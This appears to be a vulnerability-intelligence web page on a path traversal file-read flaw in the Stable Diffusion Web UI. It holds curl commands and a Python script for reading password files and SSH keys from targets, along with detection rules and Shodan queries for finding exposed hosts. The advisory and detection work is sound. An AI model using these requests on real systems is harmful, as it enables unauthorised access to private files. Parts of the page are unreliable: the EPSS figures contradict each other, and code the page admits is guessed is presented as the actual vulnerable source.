☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12375

CVE-2024-12375 Local File Inclusion in Automatic1111
📅 PUBLISHED: 2025-03-20 10:10 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.72%
👁️
1.72% probability
43.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1083
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12375 is a Local File Inclusion (LFI) vulnerability in the Automatic1111 Stable Diffusion Web UI, specifically in version git commit 82a973c. The flaw allows an unauthenticated attacker to read arbitrary files from the server's filesystem by sending a specially crafted HTTP request. With a CVSS score of 6.5 (Medium), the vulnerability has a high confidentiality impact but no impact on integrity or availability. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the public availability of proof-of-concept code increases the risk for unpatched instances. No official patch has been released at the time of analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Python-based web application (Stable Diffusion Web UI) distributed via GitHub. The application relies on multiple Python packages (e.g., Gradio, FastAPI, Pillow). While the LFI is in the application code itself, supply chain risks include potential malicious dependencies that could be introduced if the application is installed via pip or cloned from unofficial forks. Users should verify the integrity of their installation and monitor for updates from the official repository.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
  • Confidentiality (C): High (H) – Complete read access to files on the server.
  • Integrity (I): None (N) – No file modification possible.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit and allows reading sensitive files (e.g., SSH keys, configuration files, model data). However, the low EPSS score and lack of active exploitation reports reduce immediate urgency.

Deep Dive & Mechanics

The vulnerability resides in the file serving mechanism of the Stable Diffusion Web UI. The application uses a custom endpoint to serve static files (e.g., images, model outputs) without proper path validation. By injecting path traversal sequences (e.g., ../) into the request, an attacker can escape the intended directory and read any file the web server process has access to.

Root Cause: The application does not sanitize or canonicalize user-supplied file paths before passing them to file read functions. The vulnerable code likely uses os.path.join or similar without checking for .. sequences.

Example Request:

GET /file?path=../../../etc/passwd HTTP/1.1
Host: target:7860

The server responds with the contents of /etc/passwd if the web user has read permissions.

Vulnerable vs. Patched Code

Vulnerable Code (git 82a973c):

@app.get("/file")
def get_file(path: str):
    # No validation of path
    with open(path, "r") as f:
        return f.read()

Patched Code (hypothetical fix):

import os

ALLOWED_DIR = "/app/stable-diffusion-webui/outputs"

@app.get("/file")
def get_file(path: str):
    # Canonicalize and validate path
    full_path = os.path.realpath(os.path.join(ALLOWED_DIR, path))
    if not full_path.startswith(ALLOWED_DIR):
        return "Access denied", 403
    with open(full_path, "r") as f:
        return f.read()

The fix ensures that the resolved path stays within the allowed directory.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable instance of Automatic1111 Stable Diffusion Web UI (git commit 82a973c) on a local VM or Docker container.
  2. Ensure the web UI is accessible on port 7860.

Exploitation Steps:

  1. Identify the target endpoint (e.g., /file or /output).
  2. Send a crafted request with path traversal:
    curl "http://target:7860/file?path=../../../etc/passwd"
    
  3. Read sensitive files:
    curl "http://target:7860/file?path=../../../home/user/.ssh/id_rsa"
    
  4. For Windows targets, use backslashes or URL-encoded paths:
    curl "http://target:7860/file?path=..\\..\\..\\Windows\\win.ini"
    

Automated Exploit (Python):

import requests

target = "http://target:7860"
payload = "../../../etc/passwd"
r = requests.get(f"{target}/file?path={payload}")
print(r.text)

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing ../ or ..%2f patterns.
  • Alert on requests to /file or similar endpoints with unusual path parameters.
  • Use WAF rules to block path traversal attempts.

Hunting:

  • Search for files outside the expected directory being accessed.
  • Review application logs for FileNotFoundError or permission errors.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests with ../ in the path parameter.
    • Requests to /file, /output, or similar endpoints.
    • Outbound connections from the server to unknown IPs (if data exfiltration occurs).
  • File System IOCs:

    • Unexpected file reads (e.g., /etc/passwd, /etc/shadow, SSH keys).
    • Modified access times on sensitive files.
  • Log IOCs:

    • Web server logs showing GET /file?path=../../../etc/passwd.
    • Application logs with [Errno 2] No such file or directory for traversed paths.

Detection Engineering

YARA Rule

rule CVE_2024_12375_LFI_Detection {
    meta:
        description = "Detects path traversal attempts in HTTP requests to Automatic1111 Stable Diffusion Web UI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12375"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/ nocase
        $vuln_endpoint = "/file" nocase
    condition:
        $vuln_endpoint and $path_traversal
}

Sigma Rule

title: CVE-2024-12375 LFI Attempt on Stable Diffusion Web UI
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3a1d9f7e4c
status: experimental
description: Detects path traversal attempts targeting the file serving endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e%5c"
        cs-uri-stem|contains: "/file"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12375 LFI Attempt on Stable Diffusion Web UI"; flow:to_server,established; content:"/file"; http_uri; content:"../"; http_uri; nocase; sid:1000001; rev:1; reference:cve,2024-12375;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the vulnerable instance – Restrict network access to the web UI (e.g., bind to localhost only).
  2. Apply input validation – Implement a whitelist of allowed files or directories.
  3. Use a reverse proxy – Place Nginx or Apache in front with rules to block path traversal:
    location /file {
        if ($args ~* "\.\.") {
            return 403;
        }
    }
    

Long-term Fix:

  • Update to a patched version once available (monitor the official GitHub repository).
  • Fork the repository and apply the hypothetical patch shown above.
  • Conduct a code review of all file-serving endpoints.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Stable Diffusion"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12375/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.